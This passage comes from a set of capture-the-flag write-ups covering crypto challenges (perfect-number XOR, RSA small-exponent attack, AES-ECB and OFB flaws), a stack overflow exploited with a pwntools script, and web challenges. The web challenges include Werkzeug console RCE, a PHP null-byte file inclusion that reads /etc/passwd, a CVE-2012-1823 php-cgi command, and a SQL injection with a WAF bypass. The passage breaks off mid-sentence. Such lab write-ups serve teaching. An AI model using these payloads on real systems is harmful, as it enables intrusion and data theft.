ciphertext stored in cipher_b64 and hopefully print the flag, but it seems a little bit slow... ![](assets//images//perfect_1.gif) at this point it's somewhat stop printing characters but still runs.\This challenge is quite similar to a challenge in nahamCon CTF called Homecooked (make sense as it's the same organizers), in it there was an inefficient primality check that made the code unreasonably slow, so we might be up against something like that, let's look at the code, it first prints the start of the flag format, then it decodes the ciphertext and splits in into an array of strings, then for each string it tries to find a value of n bigger than the one used previously that makes a return the Boolean value True (for the first string it just finds the first one bigger than zero that satisfy a) if the code discovered a matching n it then xors n with the string and prints the result, this part is coded somewhat efficient so let's move on to function a, for argument n the function goes through all the numbers smaller than n and checks for each one if it divides n, if so it adds it to a running total, in the end the function check if the sum is equal to n and return True if so otherwise it returns False. Basically a checks if the sum of the divisors of n is equal to n, numbers that satisfy this are often called perfect numbers and there are more efficient ways to find them, we have discovered that all even perfect numbers are of the form p * ( p + 1 ) / 2 where p is a Mersenne prime, which are primes of the form 2 ** q - 1 for some integer q, furthermore we still haven't discovered any odd perfect number so all the perfect numbers known to us (and important for this challenge) are even perfect number, so I took a list of q's off the internet (the integers that make up Mersenne primes) and modified the code a bit so that instead of trying to find a perfect number it just uses the next q on the list to create one (I also tried to find a formatted list of perfect numbers or of Mersenne primes themselves but didn't find any): ```pythonimport base64from functools import reduce mersenne = [2, 3, 5, 7, 13, 17, 19, 31, 61, 89, 107, 127, 521, 607, 1279, 2203, 2281, 3217, 4253, 4423, 9689, 9941, 11213, 19937, 21701, 23209, 44497, 86243, 110503, 132049, 216091, 756839, 859433, 1257787, 1398269, 2976221, 3021377, 6972593, 13466917, 20996011, 24036583, 25964951, 30402457] i = 0cipher_b64 = b"MTE0LDg0LDQzNyw4MDk1LDMzNTUwNDM0LDg1ODk4NjkxNzAsMTM3NDM4NjkxMzc2LDIzMDU4NDMwMDgxMzk5NTIyMzUsMjY1ODQ1NTk5MTU2OTgzMTc0NDY1NDY5MjYxNTk1Mzg0MjI0NSwxOTE1NjE5NDI2MDgyMzYxMDcyOTQ3OTMzNzgwODQzMDM2MzgxMzA5OTczMjE1NDgxNjkyOTQsMTMxNjQwMzY0NTg1Njk2NDgzMzcyMzk3NTM0NjA0NTg3MjI5MTAyMjM0NzIzMTgzODY5NDMxMTc3ODM3MjgyMjMsMTQ0NzQwMTExNTQ2NjQ1MjQ0Mjc5NDYzNzMxMjYwODU5ODg0ODE1NzM2Nzc0OTE0NzQ4MzU4ODkwNjYzNTQzNDkxMzExOTkxNTIyMTYsMjM1NjI3MjM0NTcyNjczNDcwNjU3ODk1NDg5OTY3MDk5MDQ5ODg0Nzc1NDc4NTgzOTI2MDA3MTAxNDMwMjc1OTc1MDYzMzcyODMxNzg2MjIyMzk3MzAzNjU1Mzk2MDI2MDA1NjEzNjAyNTU1NjY0NjI1MDMyNzAxNzUwNTI4OTI1NzgwNDMyMTU1NDMzODI0OTg0Mjg3NzcxNTI0MjcwMTAzOTQ0OTY5MTg2NjQwMjg2NDQ1MzQxMjgwMzM4MzE0Mzk3OTAyMzY4Mzg2MjQwMzMxNzE0MzU5MjIzNTY2NDMyMTk3MDMxMDE3MjA3MTMxNjM1Mjc0ODcyOTg3NDc0MDA2NDc4MDE5Mzk1ODcxNjU5MzY0MDEwODc0MTkzNzU2NDkwNTc5MTg1NDk0OTIxNjA1NTU2NDcwODcsMTQxMDUzNzgzNzA2NzEyMDY5MDYzMjA3OTU4MDg2MDYzMTg5ODgxNDg2NzQzNTE0NzE1NjY3ODM4ODM4Njc1OTk5OTU0ODY3NzQyNjUyMzgwMTE0MTA0MTkzMzI5MDM3NjkwMjUxNTYxOTUwNTY4NzA5ODI5MzI3MTY0MDg3NzI0MzY2MzcwMDg3MTE2NzMxMjY4MTU5MzEzNjUyNDg3NDUwNjUyNDM5ODA1ODc3Mjk2MjA3Mjk3NDQ2NzIzMjk1MTY2NjU4MjI4ODQ2OTI2ODA3Nzg2NjUyODcwMTg4OTIwODY3ODc5NDUxNDc4MzY0NTY5MzEzOTIyMDYwMzcwNjk1MDY0NzM2MDczNTcyMzc4Njk1MTc2NDczMDU1MjY2ODI2MjUzMjg0ODg2MzgzNzE1MDcyOTc0MzI0NDYzODM1MzAwMDUzMTM4NDI5NDYwMjk2NTc1MTQzMzY4MDY1NTcwNzU5NTM3MzI4MjQy" print("flag{", end='', flush=True)cipher = base64.b64decode(cipher_b64).decode().split(",")while(i < len(cipher)): p = 2 ** (mersenne[i] - 1) * (2 ** mersenne[i] - 1) print(chr(int(cipher[i]) ^ p),end='', flush=True) i += 1 print("}")``` And by running this more efficient code we get the flag in no time: ![](assets//images//perfect_2.gif) **Resources:*** Perfect Number: https://en.wikipedia.org/wiki/Perfect_number* Mersenne Prime: https://en.wikipedia.org/wiki/Mersenne_prime* The list I used: https://www.math.utah.edu/~pa/math/mersenne.html#:~:text=p%20%3D%202%2C%203%2C%205,%2C%2024036583%2C%2025964951%2C%2030402457 ## Bon AppetitWow, look at the size of that! There is just so much to eat! Download the file below.\[prompt.txt](assets//files//prompt.txt) **Post-CTF Writeup**\**`flag{bon_appetit_that_was_one_big_meal}`** **Solution:** With the challenge we get a text file with the following content: ```n = 86431753033855985150102208955150746586984567379198773779001331665367046453352820308880271669822455250275431988006538670370772552305524017849991185913742092236107854495476674896994207609393292792117921602704960758666683584350417558805524933062668049116636465650763347823718120563639928978056322149710777096619 e = 43593315545590924566741189956390609253174017258933397294791907025439424425774036889638411588405163282027748339397612059157433970580764560513322386317250465583343254411506953895016705520492303066099891805233630388103484393657354623514864187319578938539051552967682959449373268200012558801313113531016410903723 c = 6017385445033775122298094219645257172271491520435372858165807340335108272067850311951631832540055908237902072239439990174700038153658826905580623598761388867106266417340542206012950531616502674237610428277052393911078615817819668756516229271606749753721145798023983027473008670407713937202613809743778378902``` This is obviously an RSA encryption with n being the modulus, e being the public exponent and c being a ciphertext, as I explained in previous challenges: > ... RSA is a public key cipher, which means that there are two keys, one that is public which is used to encrypt data, and one that is private which is used to decrypt data, obviously there is some sort of connection between the keys but it is hard to reveal the private key from the public keys (and in this case vice versa), specifically in RSA in order to find the private key we need to solve the integer factorization problem, which is thought to be in NP/P (this is not important for the challenge), we will call our public key e and our private key d, they posses the following attribute - d multiply by e modulo the value of (p-1) * (q-1) which we will name from now phi, is equal to 1, we will call d the modular multiplicative inverse of e and e the modular multiplicative inverse of d, furthermore if we take a plaintext message pt and raise it to the power of d and then to the power of e modulo the value of p * q, which we will name n and will be commonly given to us instead of q and p, we will get pt again (to understand why it is needed to delve into modern algebra, if n is smaller than pt then obviously we will not get pt), now with that in mind we can talk about the cipher, encryption in this cipher is raising the plaintext pt to the power of the public key e mod the value of n, similarly, decryption is raising the ciphertext to the power of d mod n... The common methods for breaking RSA is using a factor database that stores factors or using somewhat efficient algorithms and heuristics in order to factor the modulus n if n is relatively small or easy to factor, both won't work with an n as big as that, so we need to use a less common attack. Notice the public exponent e, it's very big, almost as big as the modulus itself, we often use very small exponent such as 3 and 65537 (there's even a variant of RSA which uses 2 as the public exponent) so a usage of large public exponent is most likely an indication that the private exponent d is small. For small private exponents there are 2 main attacks - Weiner's Attack and Boneh & Durfee's attack, the first attack is simpler and uses continued fraction to efficiently find d if d is smaller than modulus n to the power of 0.25, the later attack is much more complex relying on solving the small inverse problem efficiently to find d if d is smaller the modulus n to the power of 0.285 (or 0.292...the conclusions are inconclusive), after trying to use Weiner's attack and failing I succeeded in using Boneh & Durfee's attack. Unfortunately I can't explain in details how this attack works because it requires a lot of preliminary knowledge but I'll add both the papers of Weiner and Boneh & Durfee about the attacks in the resources for those interested (I'll maybe add an explanation later on the small inverse problem and how it's connected), for this attack I used a sage script I found online, updated it to python 3 and changed the size of the lattice to 6 and the value of delta (the power of n) to 0.26 to guarantee that the key is found, the modified code is [linked here](assets//scripts//buneh_durfee.sage) if you want to try it yourself (link for an online sage interpreter is in the resources), by running this code we find the private key and using it to decrypt the ciphertext we get the flag: ![](assets//images//bon_appetit_1.png) **Resources:*** Weiner's attack: http://monge.univ-mlv.fr/~jyt/Crypto/4/10.1.1.92.5261.pdf* Boneh & Durfee's attack: https://link.springer.com/content/pdf/10.1007%2F3-540-48910-X_1.pdf* Script used: https://www.cryptologie.net/article/241/implementation-of-boneh-and-durfee-attack-on-rsas-low-private-exponents/* Web Sage interpreter: https://sagecell.sagemath.org/ ## A E S T H E T I CI can't stop hearing MACINTOSH PLUS... Connect here:\`nc jh2i.com 50009` **Post-CTF Writeup**\**`flag{aes_that_ick_ecb_mode_lolz}`** **Solution:** we are given a port on a server to connect to, when we connect we are prompted to give input: ![](assets//images//aesthetic_1.png) btw if you don't see the image in the ASCII art maybe this will help: ![](assets//images//aesthetic_2.png) By giving input to the server we get an hex string in return with the message that the flag is sprinkled at the end: ![](assets//images//aesthetic_3.png) After a bit of fuzzing I discovered that for an empty input we receive an hex string with 64 characters, for input of length between the range of 1 to 32 we receive an hex string with length of 128 characters and for input with length bigger than 32 we get an hex string of length bigger than 128: ![](assets//images//aesthetic_4.png) furthermore by giving input with a length of 32 the second half of the hex string received is exactly the same as the hex string received when giving an empty input, this coupled with the reference to the block cipher AES in the challenge title led me to the conclusion that the server is using AES-ECB (AES with Electronic Codebook mode of operation) to encrypt our message appended to the flag and likely padded, as I explained in my writeup for Tyrannosaurus Rex modes of operation are used to allow block ciphers, which are limited by design to only specific lengths of plaintext, to encrypt information of any length, this is done by splitting the data into blocks, encrypting each block separately and then appending the resulting ciphertexts blocks together, ECB mode of operation encrypt every block in isolation where other modes of operation perform encryptions between blocks so that blocks with the same plaintext won't have the same ciphertext, but ECB don't do that meaning that **ECB encrypts the same plaintexts to the same ciphertexts**, a schema of this mode: <div align=center> </div> So now that we know how the hex value is created we can use a nice attack that John Hammond showed in a [recent video](https://www.youtube.com/watch?v=f-iz_ZAS258). Because we know that input of length higher than 32 gives us an output with 64 more characters than input with length of at most 32 we can deduce that the plaintext (our input appended to the flag and padded) is split into blocks of 32 characters, so when our input is 32 characters long the first block in the ciphertext (first 64 characters in the ciphertext) is entirely made out of our input and the second block in the ciphertext is the flag with the padding, and when our input is 31 characters long the first block in the ciphertext is our input with the first letter of the flag in the end. So we can choose a random string of 31 characters and iterate over all the characters and check if the first block in the ciphertext when the input is our string appended to this (so the block is entirely our input) is equal to the first block of the ciphertext when the input is only our string (so the block is our input and the first character of the flag), after finding the first letter we can do the same for the second letter using a string of 30 appended to the discovered letter and so on for all the letters using the start of the flag discovered so for as the end of the string, more formally: ![](assets//images//aesthetic_6.png) if you still don't understand the attack you should check out the video I linked above and the first comment of the video. For the attack I wrote the following code which does basically the same as I described, building the flag character by character: ```pythonfrom pwn import *import refrom string import ascii_lowercase, digits s = remote('jh2i.com', 50009)s.recvuntil("> ") flag = '' for i in range(1,33): s.sendline('a' * (32 - i)) base_block = re.findall('[a-f0-9]{64}', s.recvuntil("> ").decode('utf-8'))[0][:64] for c in '_{}' + ascii_lowercase + digits: s.sendline('a' * (32 - i) + flag + c) block = re.findall('[a-f0-9]{128}', s.recvuntil("> ").decode('utf-8'))[0][:64] if block == base_block: flag = flag + c print(flag) break s.close()```and running this script gives us the flag: ![](assets//images//aesthetic_7.png) **Resources:*** Block Cipher: https://en.wikipedia.org/wiki/Block_cipher* Block Cipher modes of operation and ECB: https://en.wikipedia.org/wiki/Block_cipher_mode_of_operation ## OFBuscatedI just learned some lesser used AES versions and decided to make my own! Connect here:\`nc jh2i.com 50028` [obfuscated.py](assets//scripts//ofbuscated.py) **Post-CTF Writeup**\**`flag{bop_it_twist_it_pull_it_lol}`** **Solution:** With the challenge we are given a port on a server to connect to and a python script, let's start with the server, by connecting to it we get an hex string: ![](assets//images//obfuscated_1.png) and by reconnecting we get a different one: ![](assets//images//obfuscated_2.png) this doesn't give us a lot of information so let's look at the script: ```python#!/usr/bin/env python3 from Crypto.Cipher import AESfrom Crypto.Util.Padding import padimport randomimport osimport socketserverimport stringimport threadingfrom time import *import randomimport timeimport binascii iv = #####REDACTED#####key = #####REDACTED#####flag = open("flag.txt", "rb").read().strip() class Service(socketserver.BaseRequestHandler): def handle(self): assert len(flag) % 16 == 1 blocks = self.shuffle(flag) ct = self.encrypt(blocks) self.send(binascii.hexlify(ct)) def byte_xor(self, ba1, ba2): return bytes([_a ^ _b for _a, _b in zip(ba1, ba2)]) def encrypt(self, blocks): curr = iv ct = [] cipher = AES.new(key, AES.MODE_ECB) for block in blocks: curr = cipher.encrypt(curr) ct.append(self.byte_xor(block, curr)) return b''.join(ct) def shuffle(self, pt): pt = pad(pt, 16) pt = [pt[i: i + 16] for i in range(0, len(pt), 16)] random.shuffle(pt) return pt def send(self, string, newline=True): if type(string) is str: string = string.encode("utf-8") if newline: string = string + b"\n" self.request.sendall(string) def receive(self, prompt="> "): self.send(prompt, newline=False) return self.request.recv(4096).strip() class ThreadedService( socketserver.ThreadingMixIn, socketserver.TCPServer, socketserver.DatagramRequestHandler,): pass def main(): port = 3156 host = "0.0.0.0" service = Service server = ThreadedService((host, port), service) server.allow_reuse_address = True server_thread = threading.Thread(target=server.serve_forever) server_thread.daemon = True server_thread.start() print("Server started on " + str(server.server_address) + "!") # Now let the main thread just wait... while True: sleep(10) if __name__ == "__main__": main()``` From the main function we can assume that this is the script running on the port we get, but the function doesn't seems to be important so let's get rid of it and while we're at it remove the ThreadedService class and the receive function as there is no use for them: ```python#!/usr/bin/env python3 from Crypto.Cipher import AESfrom Crypto.Util.Padding import padimport randomimport osimport socketserverimport stringimport threadingfrom time import *import randomimport timeimport binascii iv = #####REDACTED#####key = #####REDACTED#####flag = open("flag.txt", "rb").read().strip() def handle(): assert len(flag) % 16 == 1 blocks = shuffle(flag) ct = encrypt(blocks) send(binascii.hexlify(ct)) def byte_xor(ba1, ba2): return bytes([_a ^ _b for _a, _b in zip(ba1, ba2)]) def encrypt(blocks): curr = iv ct = [] cipher = AES.new(key, AES.MODE_ECB) for block in blocks: curr = cipher.encrypt(curr) ct.append(byte_xor(block, curr)) return b''.join(ct) def shuffle(pt): pt = pad(pt, 16) pt = [pt[i: i + 16] for i in range(0, len(pt), 16)] random.shuffle(pt) return pt def send(string, newline=True): if type(string) is str: string = string.encode("utf-8") if newline: string = string + b"\n" request.sendall(string) ``` Our most important function is handle, it start by asserting that the length of the flag modulo 16 is 1, so we now know that the length is 16 * k + 1 for some number k, then it invokes a function called shuffle, this function pads the flag to a length divided by 16, so the length after padding is 16 * (k + 1), notice that is uses the method pad from Crypto.Util.Padding, this method uses PKCS7 padding style by default which pads the length of the string to the end of it, so basically our flag is now padded with the number 16 * k + 1 for a total length of 16 * (k + 1), afterwards the method splits the padded flag into blocks of size 16 and shuffles the blocks using random.shuffle, so overall after invoking shuffle we are left with an array of k + 1 blocks in a random order, where each block is a length 16 and a part of the flag padded with his length. Afterwards, handle calls encrypt with the blocks as argument, for each block the method encrypt encrypts the variable iv using AES-ECB, it then xors it with the block and append the result to an array, this type of encryption is actually AES-OFB or in other words AES in Output Feedback mode of operation (it seems the organizers really love modes of operation), so as I explained in the previous challenge and a one before it modes of operation allows block ciphers to encrypt data of any length by splitting the data into blocks and encrypting each one separately and in the end appending the ciphertexts together, OFB is very interesting in that regard because the data itself is not encrypted by the block cipher in any stage but the initialization vector (iv) is, and each encrypted block of iv is xorred with a block of the plaintext to create the ciphertext, because of this trait we can think of using this mode of operation as using a one time pad (OTP), this is because we can perform all the encryptions of iv beforehand and only xor the plaintext with it when we need to much like using OTP (OTP is even stronger because the key is totally random), if you've know what is an OTP you probably can guess why this is bad and what we can exploit, a schema of this mode: <div align=center> </div> after encryption the ciphertext created is hexified and sent to the user. So why this is bad? as I said this encryption is basically OTP where the key is the encrypted iv, it is unsafe to reuse keys with one time pad encryption because if we have two ciphertext created by the same key c1 = m1 ^ k and c2 = m2 ^ k we can xor the ciphertext to get c1 ^ c2 = m1 ^ k ^ m2 ^ k = m1 ^ m2, also by having a message and its encryption we can retrieve the key (this is called a known plaintext attack), but why is all this relevant to us? well, because we actually know the value of the last block in the plaintext, but first let's find the length of the plaintext, we can do that by just decoding the hex value we get from the server to bytes and counting the number of bytes, by doing so we find that the length of the plaintext is 48 bytes meaning that 16 * ( k + 1 ) = 48 and k = 2, and so we now know that our flag has a length of 33 and the number of blocks in the encryption is 3, why we know the value of the last block? simply because we know that it comprises of the last character of the flag, which is a closing curly brace `}`, and then a padding using the number 33, and why this is bad? let's say we have a list of all the possible values of the first block of ciphertext (there are exactly 3), let them be b1, b2 and b3, one of them is obviously an encryption of the block we know, let's say its b2, and all of them are encrypted by xorring the same value k, so if we xor every block with every other block and xor that with the plaintext block we know 2 out of the 3 resulting blocks will be the other plaintext blocks, that's because xorring b2 with its plaintext results with k, and xorring k with every other block will result with the plaintext of b1 and b3, so we've just discovered all the blocks in the plaintext! So I wrote the following code to perform the attack, the code reconnects to server until it has all the possible values of the first block, then it xors the values between themselves and between the known plaintext block and check if the result is a printable string (it's very unlikely we'll get a printable result which is not in the flag), if so it finds its position in the flag (using the flag format) and prints the result: ```pythonfrom pwn import *import binasciifrom Crypto.Util.Padding import pad, unpadfrom string import printable def byte_xor(ba1, ba2): return bytes([_a ^ _b for _a, _b in zip(ba1, ba2)]) # all possible combinations of plaintext blocks and encrypted IVpossible_ct_blocks = [] # the most likely third and final blockthird_block = pad(b'a' * 32 + b'}', 16)[-16:] # the flagflag = [b'',b'', third_block] # finds all the values of the first block in the ciphertextwhile True: s = remote('jh2i.com', 50028) ct_block = binascii.unhexlify(s.recvline().decode('utf-8')[:-1])[:16] s.close() if ct_block not in possible_ct_blocks: possible_ct_blocks += [ct_block] if len(possible_ct_blocks) == 3: break # decrypts the data using knowladge of the third block and the posibility of it being in every positionfor j in range(3): xorred_block = bytes(byte_xor(possible_ct_blocks[j], possible_ct_blocks[(j + 1) % 3])) xorred_block = byte_xor(xorred_block, third_block) if all(chr(c) in printable for c in xorred_block): if b'flag' in xorred_block: flag[0] = xorred_block else: flag[1] = xorred_block print(unpad(b''.join(flag), 16).decode('utf-8'))```and we got the flag: ![](assets//images//obfuscated_4.png) **Resources:*** Block Cipher: https://en.wikipedia.org/wiki/Block_cipher* Block Cipher modes of operation and ECB: https://en.wikipedia.org/wiki/Block_cipher_mode_of_operation* One Time Pad (OTP): https://en.wikipedia.org/wiki/One-time_pad *** # Binary Exploitation **Note:** For all the binary exploitation challenges I'll be working with [IDA free](https://www.hex-rays.com/products/ida/support/download_freeware/) and [pwntools](http://docs.pwntools.com/en/stable/) ## PancakesHow many flap-jacks are on your stack? Connect with:\`nc jh2i.com 50021` [pancakes](assets//executables//pancakes) **Post-CTF Writeup**\**`flag{too_many_pancakes_on_the_stack}`** **Solution:** With the challenge we are given an executable and a port on a server running this executable, by running this executable we can see that it asks for how many pancakes we want and then by giving it input it prints us a nice ASCII art of pancakes: ![](assets//images//pancakes_1.png) Okay now that we know what the executable does, let's see what we up against, using pwn.ELF() we can see which defenses the executable uses: <div align=center> </div> The executable doesn't use canaries to protect from buffer overflows so we might be able to overflow the return address of a subroutine and cause a segfault, let's try doing that: ![](assets//images//pancakes_3.png) We got a segfault! if you've noticed to cause the segfault I used a tool called `cyclic`, cyclic is a tool from pwntools which creates a string with a cyclic behavior, we can use this string in order to find the relative distance of important values on the stack from the start of the input buffer, the command `cyclic -n 8 400` creates a cyclic string of length 400 with cyclical substrings of length 8, let's try that again but now while debugging with IDA, by placing a breakpoint at the retn command (return from a subroutine command) of the main subroutine and looking at the value in the stack before the execution of the instruction, which is the address we return to, we can get the relative distance from the return address: ![](assets//images//pancakes_4.png) The value is `0x6161616161616174` or `aaaaaaat` in ASCII (I think I messed up this picture so believe me that this is the value), we can lookup the position of this substring using the command `cyclic -n 8 -o taaaaaaa` notice that I wrote the string in reverse, that is because data is written to the stack from right to left in IDA, by running this command we get an offset of 152 from the start of the buffer, and we have a way to jump to any point in the executable by overflowing the stack right until the return address and then modifying the value of the return address to what we choose, looking at the symbols we can see a subroutine named secret_recipe, this subroutine reads a file named flag.txt and then prints its content to the screen using puts: ![](assets//images//pancakes_5.png) this function obviously prints the flag, so let's jump to it, for that I wrote the following script in python using the pwn module (which is the module for pwntools), this script connects to the server, finds the address of the function secret_recipe and creates the matching payload so that the execution will return to this function after finishing with main,then the script sends the payload as input and print the flag received from the server: ```pythonfrom pwn import *import re e = ELF('pancakes')addr = p64(e.symbols['secret_recipe']) local = Falseif not local: s = remote('jh2i.com', 50021)else: s = process('pancakes') s.recv()s.sendline(b'A' * 152 + addr)response = s.recvall()print(re.findall('flag{.*}', response.decode('utf-8'))[0])s.close()``` and in action: ![](assets//images//pancakes_6.png) *** # Web ## LadybugWant to check out the new Ladybug Cartoon? It's still in production, so feel free to send in suggestions! Connect here:\http://jh2i.com:50018 **`flag{weurkzerg_the_worst_kind_of_debug}`** **Solution:** With the challenge we are given a url to a website: ![](assets//images//ladybug_1.png) The page seems pretty bare, there are some links to other pages in the website and an option to search the website or to contact ladybug using a form, I first tried checking if there's a XXS vulnerability in the contact page or a SQLi vulnerability / file inclusion vulnerability in the search option, that didn't seem to work, then I tried looking in the other pages in the hope that I'll discover something there, none of those seemed very interesting, but, their location in the webserver stood out to me, all of them are in the `film/` directory, the next logical step was to fuzz the directory, doing so I got an Error on the site: ![](assets//images//ladybug_2.png) This is great because we now know that the site is in debugging mode (we could also infer that from the challenge description but oh well), also we now know that the site is using Flask as a web framework, Flask is a web framework which became very popular in recent years mostly due to it simplicity, the framework depends on a web server gateway interface (WSGI) library called Werkzeug, A WSGI is a calling convention for web servers to forward requests to web frameworks (in our case Flask). Werkzeug also provides web servers with a debugger and a console to execute Python expression from, we can find this console by navigating to `/console`: ![](assets//images//ladybug_3.png) From this console we can execute commands on the server (RCE), let's first see who are we on the server, I used the following commands for that: ```pythonimport subprocess;out = subprocess.Popen(['whoami'], stdout=subprocess.PIPE, stderr=subprocess.STDOUT);stdout,stderr = out.communicate();print(stdout);``` the command simply imports the subprocess library, creates a new process that executes `whoami` and prints the output of the command, by doing so we get: ![](assets//images//ladybug_4.png) The command worked!, now we can execute `ls` to see which files are in our working directory, doing so we can see that there's a file called flag.txt in there, and by using `cat` on the file we get the flag: ![](assets//images//ladybug_5.png) **Resources:*** Flask: https://en.wikipedia.org/wiki/Flask_(web_framework)* Flask RCE Debug Mode: http://ghostlulz.com/flask-rce-debug-mode/ ## BiteWant to learn about binary units of information? Check out the "Bite of Knowledge" website! Connect here:\http://jh2i.com:50010 **`flag{lfi_just_needed_a_null_byte}`** **Solution:** With the challenge we get a url for a website: ![](assets//images//bite_1.png) the site is about binary units, a possible clue for the exploit we need to use, it seems we can search the site or navigate to other pages, by looking at the url we can see that it uses a parameter called page for picking the resource to display, so the format is: `http://jh2i.com:50010/index.php?page=<resource>` we possibly have a local file inclusion vulnerability (LFI) here, as I explained in my writeup for nahamCon CTF: > PHP allows the inclusion of files from the server as parameters in order to extend the functionality of the script or to use code from other files, but if the script is not sanitizing the input as needed (filtering out sensitive files) an attacker can include any arbitrary file on the web server or at least use what's not filtered to his advantage Let's first try to include the PHP file itself, this will create some kind of a loop where this file is included again and again and will probably cause the browser to crash...but it's a good indicator that we have an LFI vulnerability without forcing us to use directory traversal, navigating to `/index.php?page=index.php` gives us: ![](assets//images//bite_2.png) index.php.php? it seems that the PHP file includes a resource with a name matching the parameter given appended with .php, lets try `/index.php?page=index` : ![](assets//images//bite_3.png) It worked! so we know that we have an LFI vulnerability where the parameter given is appended to a php extension, appending a string to the user input is a common defense mechanism against arbitrary file inclusion as we are limited only to a small scope of files, hopefully only ones that are safe to display, but there are several ways to go around this. In older versions of PHP by adding a null byte at the end of the parameter we can terminate the string, a null byte or null character is a character with an hex code of `\x00`, this character signifies the end of a string in C and as such strings in C are often called null-terminated strings, because PHP uses C functions for filesystem related operations adding a null byte in the parameter will cause the C function to only consider the string before the null byte. With that in mind let's check if we can use a null byte to display an arbitrary file, to mix things we'll try to include `/etc/passwd`, this file exists in all linux servers and is commonly accessible by all the users in the system (web applications are considered as users in linux), as such it's common to display the content of this file in order to prove access to a server or an exploit (proof of concept), we can represent a null byte in url encoding using `%00`, navigating to `/index.php?page=/etc/passwd%00` gives us: ![](assets//images//bite_4.png) We can use null bytes!...but where is the flag located?\At this point I tried a lot of possible locations for the flag until I discovered that it's located in the root directory in a file called `file.txt` navigating to `/index.php?page=/flag.txt%00` gives us the flag: ![](assets//images//bite_5.png) **Resources:*** File Inclusion Vulnerabilities: https://www.offensive-security.com/metasploit-unleashed/file-inclusion-vulnerabilities/* Payload all the things - File Inclusion: https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion* Null byte: https://en.wikipedia.org/wiki/Null_character* Null byte issues in PHP: https://www.php.net/manual/en/security.filesystem.nullbytes.php ## GI JoeThe real American hero! Connect here:\http://jh2i.com:50008 **Post-CTF Writeup**\**`flag{old_but_gold_attacks_with_cgi_joe}`** **Solution:** With the challenge we get a url to a website about G.I joe's movies called See GI Joe: ![](assets//images//gi_joe_1.png) From the name of the challenge we can assume it has something to do with Common Gateway Interface or CGI (See GI), Common Gateway Interface are interface specifications for communication between a web server (which runs the website) and other programs on the server, this allows webserver to execute commands on the server (such as querying a database), and is mostly used for dynamic webpages, this type of communication is handled by CGI scripts which are often stored in a directory called `cgi-bin` in the root directory of the web server. Looking around on the website I couldn't find something interesting, but by looking at the headers of the server responses using the inspect tool I discovered that the website is using the outdated PHP version 5.4.1 and Apache version 2.4.25, this are quite old versions of both PHP (current version is 7.3) and Apache (current version is 2.4.43) so I googled `php 5.4.1 exploit cgi` and discovered this [site](https://www.zero-day.cz/database/337/), according to it there's a vulnerability in this version of PHP which let us execute arbitrary code on the server, this vulnerability is often referred to by CVE-2012-1823 (or by CVE-2012-2311 because of a later discovery related to this vulnerability). In more details when providing a vulnerable website with a value without specifying the parameter (lack of the `=` symbol) the value is somehow interpreted as options for a program on the server called php-cgi which handles communication with the web server related to PHP (the options for the program are listed in the man page linked below), so for example by using the `-s` flag on php-cgi we can output the source code of a PHP file and so by adding `/?-s` to the URI for a PHP file located on a vulnerable server we can view the source code of the file, let's try it on the index page which is a PHP file, by navigating to `/index.php?-s` we get: ![](assets//images//gi_joe_2.png) It worked! and we now know that the flag is in a file called flag.txt located in the root directory of the server, as I mentioned before this vulnerability allows us to execute commands on the server, this can be done by using the `-d` option, using it we can change or define INI entries, or in other words change the configuration file of PHP, in order to run commands we need to change the option `auto_prepend_file` to `php://input`, this will force PHP to parse the HTTP request and include the output in the response, also we need to change the option `allow_url_include` to `1` to enable the usage of `php://input`, so by navigating to `/?-d allow_url_include=1 -d auto_prepend_file=php://input` and adding to the HTTP request a PHP code which executes commands on the server `) ?>` we can achieve arbitrary code execution on the server. let's try doing that to view the flag, we can use `cURL` with the `-i` flag to include the HTTP response headers and `--data-binary` flag to add the PHP code to the HTTP request, in the PHP code we'll use `cat /flag.txt` to output the content of the file, the command is: `curl -i --data-binary "" "http://jh2i.com:50008/?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input"` and by executing this command we get the flag: ![](assets//images//gi_joe_3.png) **Resources:*** Common Gateway Interface: https://en.wikipedia.org/wiki/Common_Gateway_Interface* CVE-2012-1823: https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2012-1823* CVE-2012-2311: https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2012-2311* a detailed explanation on CVE-2012-1823: https://pentesterlab.com/exercises/cve-2012-1823/course* man page for php-cgi: https://www.systutorials.com/docs/linux/man/1-php-cgi/ ## Waffle LandWe got hacked, but our waffles are now safe after we mitigated the vulnerability. Connect here:\http://jh2i.com:50024 **`flag{check_your_WAF_rules}`** **Solution:** With the challenge we get a url to a website about waffles: ![](assets//images//waffle_land_1.png) There seems to be only two functionalities to this webpage, searching using the search bar or signing in using a username and a password, as we don't have any credentials let's try to fiddle with the search option. The search option returns only the waffles that has the search parameter in them, trying to insert the character `'` gives us an error message: ![](assets//images//waffle_land_2.png) This gives us information about two things, first we know now that the search option uses SQL to filter data, SQL is a language designed for managing and querying databases (with SQL it is common to think of databases as tables with rows of data and columns of attributes), in this case a SQL query is used to select all the products with the having a value in the name attribute similar to the input given, second we know that the web server uses SQLite3 management system, this has some influence on the version of SQL used and on the operations we can use or exploit. A common attack against SQL systems is using SQL injection or SQLi, computers can't differentiate between data and commands and as such it's sometime possible to inject commands where data is requested, for example we can search for `' limit 1 ---` and this will cause the SQL management system if it's vulnerable to SQLi to execute the following query: `select * from product where name like '' limit 1` this query returns the first row of data in the product table, this will be executed because we closed the quotations and added `-- -` at the end which signifies that the rest of the string is a comment.To prevent this attack there are systems in place to filter (sanitize) the input given, one of those is a Web Application Firewall or WAF, this type of systems monitor the HTTP traffic of a web server and prevent attacks such as SQLi by blocking suspicious traffic. Let's first check if we have SQLi to begin with, using the search parameter in the example above gives us the following: ![](assets//images//waffle_land_3.png) Seems like we can use SQLi, now let's try to view the users table in order to sign in to the site, for that we need to add data from the users table to the output of the query, we can use union for that but it will only work if the number of attributes in the the product table and the number of attributes of the data added is the same, let's start with finding the number of attributes in the product table using `' order by n -- -`, adding this to the query will sort the data according to the n'th attribute, and if n is bigger than the number of attributes in this table the query will cause an error, doing so we can discover that the number of attributes in the product table (the table of waffles) is 5. With the number of attributes in mind we can try adding data, first we'll try using `' union select 1,2,3,4,5 -- -` this will add the row `1,2,3,4,5` to the output of the query, by doing so we get the following: ![](assets//images//waffle_land_4.png) It appears that the web server is blocking this search, so we might be working against a WAF after all (fitting the theme of this challenge), trying to work around the WAF I discovered that the WAF is only filtering searches with the string ` union select` so a simple workaround I discovered is using `/**/union/**/select` instead, the symbol `/*` signifies the start of a comment and the symbol `*/` the end of a comment so using `/**/` doesn't change the query's meaning but could possibly help us pass through the WAF, using 